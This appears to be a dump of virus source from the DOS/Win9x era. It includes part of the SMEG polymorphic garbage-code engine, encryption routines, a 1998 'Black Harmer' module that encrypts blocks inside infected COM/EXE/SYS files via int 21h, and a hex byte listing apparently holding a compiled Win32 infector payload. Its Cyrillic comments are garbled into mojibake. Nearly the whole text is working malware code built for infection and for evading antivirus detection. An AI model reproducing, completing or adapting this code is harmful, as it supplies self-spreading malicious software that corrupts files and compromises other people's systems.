al,ah ; if so, we are done jz choose_reg_done mov al,ds:[dataarea_for_SMEG-virus+9h] cmp al,4 ; ax,cx,dx, or bx? jb werd ; to yer muthah! pop ax ; pop off return location retn ; go to caller's caller werd: and ah,4 ; make either byte or word or al,ah ; register choose_reg_done: retn ; garble_once: call random_any_ax cmp ah,0C8h ; randomly go to either jbe other_garble ; here ... jmp branch_garble ; ... or here not_branch_garble: call random_any_ax other_garble: cmp al,0F0h jbe larger_instr ; mostly do larger instructions jmp do_one_byte ; 1/16 chance ; ;p 让 p樥 larger_instr: and ax,1Fh ; normalise random number add ax,ax add ax,offset(garble_table-virus) xchg si,ax lodsw ;AX=DS:[SI] ; get table entry xchg cx,ax ; keep it in CX mov dl,cl ; pick out the bottom and dl,3 ; mask out low 2 bits xor dh,dh call random_dx or ch,dl ; byte for variable opcodes ; (e.g. allows byte & word ; forms of opcode to use the ; same table entry) mov dl,cl and dl,0C0h ; mask out mod field cmp dl,0C0h ; does it indicate register mov dl,cl ; operation? i.e. 2 regs jz no_memory ; if so, branch call set_reg_mask ; otherwise, process memory call random_any_ax ; and register operation and al,0C0h ; clear all but top 2 bits or cl,al ; fill in the field rol al,1 rol al,1 mov dl,al call random_any_ax ; generate the registers to use and al,7h ; in memory access,i.e. [bx+si] or cl,al ; patch into 2nd byte of instr cmp dl,3h je fill_in_rm cmp al,6h jne force_byte mov dl,2h ; alter mask to choose AX or DX and cl,3Fh jmp short fill_in_rm force_byte: and ch,not 1 ; change to byte data ; "byte sized" fill_in_rm: call choose_register ; move register into shl al,1 ; the rm field shl al,1 shl al,1 finish_larger: or cl,al ; combine data xchg cx,ax ; move it to the right register xchg ah,al ; reverse byte order stosw ; write the instruction and dl,dl ; needs data bytes? jnz needs_data retn needs_data: cmp dl,3h ; check length of instruction jne do_data_bytes retn do_data_bytes: call random_any_ax ; keep the random number and al,3Fh ; under 40h stosb ; write the byte dec dl ; decrement bytes to write jnz do_data_bytes retn ; no_memory: call set_reg_mask call choose_register mov ah,ch ; get the opcode and clear the and ah,0FEh ; size bit for now cmp ah,0F6h jne not_NOT_NEG test cl,10h ; is it TEST instruction? jz not_NOT_NEG ; if it is, go find the number ; of data bytes it needs, else ; it is NOT or NEG, so there're no_data_bytes: xor dl,dl ; no data bytes jmp short finish_larger not_NOT_NEG: and ah,0FCh ; is it a shift or rotate? cmp ah,0D0h jne set_data_length ; if not, calculate # data ; bytes needed, else jmp short no_data_bytes ; we don't need any set_data_length: test ch,1 ; byte or word of data? mov dl,2 ; assume word jnz finish_larger ; continue if so dec dl ; DEC DX is better!!! jmp short finish_larger ; otherwise adjust to data ; do_one_byte: and al,7h mov bx,offset(onebyte_table-virus) xlat cmp al,48h ; DEC? je inc_or_dec cmp al,40h ; or INC? jne encode_1byte inc_or_dec: mov cl,al call random_any_ax ; get a garbage register and al,3 mov bx,offset(dataarea_for_SMEG-virus+9) ; can we say "lea", boys and ; girls? xlat ; look up the register or al,cl ; fill in the register field encode_1byte: stosb retn ; branch_garble: cmp word ptr ds:[cJMP_patch-virus],0 ; is there an unfinished je no_pending_cJMP ; conditional jmp? jmp finish_cJMP ; if so, finish it no_pending_cJMP: call random_any_ax cmp ah,6Eh ja do_near_JMP do_cond_jmp: and al,0Fh ; encode a conditional or al,70h ; jmp stosb mov ds:[cJMP_patch-virus],di ; save target offset stosb retn do_near_JMP: cmp word ptr ds:[nJMP_patch-virus],0 ; is there an unfinished jne do_cond_jmp ; near JMP pending? call random_any_ax ; if not, encode one cmp al,78h ; either just jmp past jbe encode_CALL ; or call it too mov al,0E9h ; encode near JMP stosb mov ds:[nJMP_patch-virus],di ; save location to patch stosw call random_any_ax cmp al,0AAh jbe forward_CALL go_not_branch_garble: jmp not_branch_garble forward_CALL: cmp word ptr ds:[last_CALL-virus],0 ; is there a garbage CALL je go_not_branch_garble ; we can patch? push di ; if there is, patch the CALL xchg di,ax ; for here so there are CALLs dec ax ; forwards as well as back- dec ax ; wards mov di,ds:[last_CALL-virus] sub ax,di stosw pop di jmp not_branch_garble encode_CALL: cmp word ptr ds:[CALL_patch-virus],0 ; is there one pending? je do_cond_jmp mov al,0E8h ; encode a CALL stosb cmp word ptr ds:[last_CALL-virus],0 je store_CALL_loc call random_any_ax ; 1/2 chance of replacing and al,7h ; it (random so it's not cmp al,4h ; too predictable) jae fill_in_offset store_CALL_loc: mov ds:[last_CALL-virus],di ; save ptr to CALL offset fill_in_offset: mov ax,di ; calculate CALL offset sub ax,ds:[CALL_patch-virus] neg ax stosw retn ; [SMEG.ASM] [ENCRYPT.ASM] include macro.inc ; encrypt: push_all_register mov bx,offset(dataarea_for_SMEG-virus) mov di,ds:[bx+targetptr-dataarea_for_SMEG] mov si,ds:[bx+sourceptr-dataarea_for_SMEG] mov cx,ds:[bx+datasize-dataarea_for_SMEG] mov dl,ds:[bx+cryptval-dataarea_for_SMEG] mov bl,ds:[bx+crypt_type-dataarea_for_SMEG] and bx,0fh add bx,bx add bx,offset(crypt_table-virus) encrypt_byte: lodsb ;AL<- DS:[SI] call word ptr [bx] stosb loop encrypt_byte pop_all_register retn ; crypt_table: dw offset(crypt0-virus) dw offset(crypt1-virus) dw offset(crypt2-virus) dw offset(crypt3-virus) dw offset(crypt4-virus) dw offset(crypt5-virus) dw offset(crypt6-virus) dw offset(crypt7-virus) ; crypt0: xor al,dl inc dl retn ; crypt2: xor dl,al mov al,dl dec dl retn ; crypt3: not al crypt4: xor al,dl inc dl inc dl retn ; crypt1: xor al,dl neg al dec dl dec dl retn ; crypt5: add al,dl inc dl retn ; crypt6: sub al,dl dec dl retn ; crypt7: xor al,dl dec dl retn ; [ENCRYPT.ASM] [ENDEB.ASM] ;pp p 䠩 (c)'98 Black Harmer ;ᯮ : ;random.asm - pp p 砩 ᥫ ;室: BX - ⥫ 䠩 (⥭/) ; AX - p孨 p p ( COM 䠩 ⠢ ; p 3 JMP p) ; DX - p p ( COM 䠩 㪠⥫ ) ; LSEEK - ⥫ 䠩 窥 . ; COM 䠩 0, EXE 砫 pp ; , 㤥 p. ; p pp call_int_21, ⠪ ; ᮤp: ; call_int_21 proc near ; int 21h ; retn ; call_int_21 endp ;Ŀ ;쪮 p뢠 䠩 ; number_of_blok_to_crypt_in_file=5 ; ; ; lengh_of_blok=5 ; ; encrypt_blok proc near pusha push es ds push bx push cs cs pop ds es call init_encrypt_blok init_encrypt_blok: pop bp sub bp,offset(init_encrypt_blok-encrypt_blok) mov bx,ax xor cx,cx lea di,[bp+data_for_uncrypt-encrypt_blok] sub dx,lengh_of_blok push dx next_random_number_with_popdx: pop dx next_random_number: push dx call random_dx cmp dx,bx jbe next_random_number_with_popdx jcxz check_cross_noneed lea si,[bp+data_for_uncrypt-encrypt_blok] push cx next_check_cross: lodsw ;DS:[SI] -> AX,SI+2 sub ax,dx cmp ax,lengh_of_blok jb check_cross_failed cmp ax,(0ffffh-lengh_of_blok) ja check_cross_failed loop next_check_cross pop cx jmp check_cross_noneed check_cross_failed: pop cx dx jmp next_random_number check_cross_noneed: xchg ax,dx stosw ;AX -> ES:[DI],DI+2 pop dx inc cx cmp cx,number_of_blok_to_crypt_in_file*2 jbe next_random_number ;p㯠 p p pop bx ;⥫ 䠩 ; p 窠 ? xor cx,cx xor dx,dx mov ax,4201h call call_int_21 ;H 室 DX:AX lea si,[bp+data_for_uncrypt-encrypt_blok] mov cx,number_of_blok_to_crypt_in_file next_encrypt_blok: push cx dx ax ;⠭ 㪠⥫ xor cx,cx mov dx,[si] mov ax,4201h call call_int_21 push dx ax ;⠥ mov cx,lengh_of_blok lea dx,[bp+encrypt_blok_buffer-encrypt_blok] mov ah,3fh call call_int_21 ;p㥬 mov cx,ax lea di,[bp+encrypt_blok_buffer-encrypt_blok] mov ax,[si+2] call crypt_encrypt_one_blok ;⠭ 㪠⥫ pop dx cx mov ax,4200h call call_int_21 mov cx,lengh_of_blok lea dx,[bp+encrypt_blok_buffer-encrypt_blok] mov ah,40h call call_int_21 add si,4 pop dx cx ;⠢ 㪠⥫ mov ax,4200h call call_int_21 pop cx loop next_encrypt_blok pop ds es popa retn encrypt_blok endp ; ;pp pp pp, p ⥬ p ;p. ;室: ES:0000 - ⭮⥫쭠 窠 pp ; COM 䠩 PSP+10h:0000 ; EXE 䠩 PSP+10h:0000 ; SYS 䠩 CS:0000 (p SYS 䠩 > 64k) decrypt_blok proc near pusha push ds call initial_decrypt_blok initial_decrypt_blok: pop bp sub bp,offset(initial_decrypt_blok-decrypt_blok) push cs pop ds lea si,[bp+data_for_uncrypt-decrypt_blok] mov cx,number_of_blok_to_crypt_in_file next_decrypt_blok: push cx mov cx,lengh_of_blok mov di,[si] mov ax,[si+2] call crypt_encrypt_one_blok add si,4 pop cx loop next_decrypt_blok pop ds popa retn decrypt_blok endp ; ; p/pp ; 室: ES:DI - p 室 p/pp ; AX - ᫮ pp () ; CX - ᪮쪮 p/pp crypt_encrypt_one_blok proc near pusha next_encrypt_byte: xor es:[di],al add al,ah inc di loop next_encrypt_byte popa retn crypt_encrypt_one_blok endp ; ;Ŀ ;㤥 ᯮ짮 p楤p descrypt_blok pp; ;1. 饭 2. , p p ( ) ; data_for_uncrypt dd number_of_blok_to_crypt_in_file dup (0); ;p p ⥭/ ; encrypt_blok_buffer db lengh_of_blok dup (0) ; ; [ENDEB.ASM] [WV32\WV32.DAT] ; DB Listing created by Black Harmer's FILE2DB db 060h,01eh,0fch,0e8h,000h,000h,000h,000h,05dh,081h db 0edh,008h,010h,040h,000h,033h,0c0h,0beh,03ch,000h db 0f7h,0bfh,066h,0adh,005h,000h,000h,0f7h,0bfh,096h db 0adh,066h,03dh,050h,045h,00fh,085h,0c2h,000h,000h db 000h,08bh,046h,074h,005h,01ch,000h,0f7h,0bfh,096h db 0adh,005h,000h,000h,0f7h,0bfh,096h,0adh,005h,000h db 000h,0f7h,0bfh,089h,085h,0d8h,010h,040h,000h,0b4h db 062h,0e8h,07dh,000h,000h,000h,08eh,0dbh,067h,08eh db 01eh,02ch,000h,033h,0f6h,0b9h,000h,001h,000h,000h db 081h,03eh,077h,069h,06eh,062h,074h,003h,046h,0e2h db 0f5h,083h,0c6h,00bh,08dh,0bdh,0f3h,010h,040h,000h db 0ach,0aah,00ah,0c0h,075h,0fah,006h,01fh,0c6h,047h db 0ffh,05ch,08dh,0b5h,0deh,010h,040h,000h,0b9h,00dh db 000h,000h,000h,080h,036h,0e3h,046h,0e2h,0fah,08dh db 0b5h,0deh,010h,040h,000h,0b9h,00dh,000h,000h,000h db 0f3h,0a4h,0c6h,007h,000h,0b4h,03ch,08dh,095h,0f3h db 010h,040h,000h,033h,0c9h,0e8h,01fh,000h,000h,000h db 072h,03fh,08bh,0d8h,0b4h,040h,08dh,095h,043h,011h db 040h,000h,0b9h,074h,01fh,000h,000h,0e8h,009h,000h db 000h,000h,0b4h,03eh,0e8h,002h,000h,000h,000h,0ebh db 022h,08dh,0bdh,0ddh,010h,040h,000h,051h,050h,068h db 010h,000h,02ah,000h,057h,068h,000h,000h,000h,000h db 0c3h,0c3h,090h,08eh,082h,091h,097h,087h,091h,095h db 0cdh,086h,09bh,086h,0e3h,01fh,061h [WV32\WV32.DAT]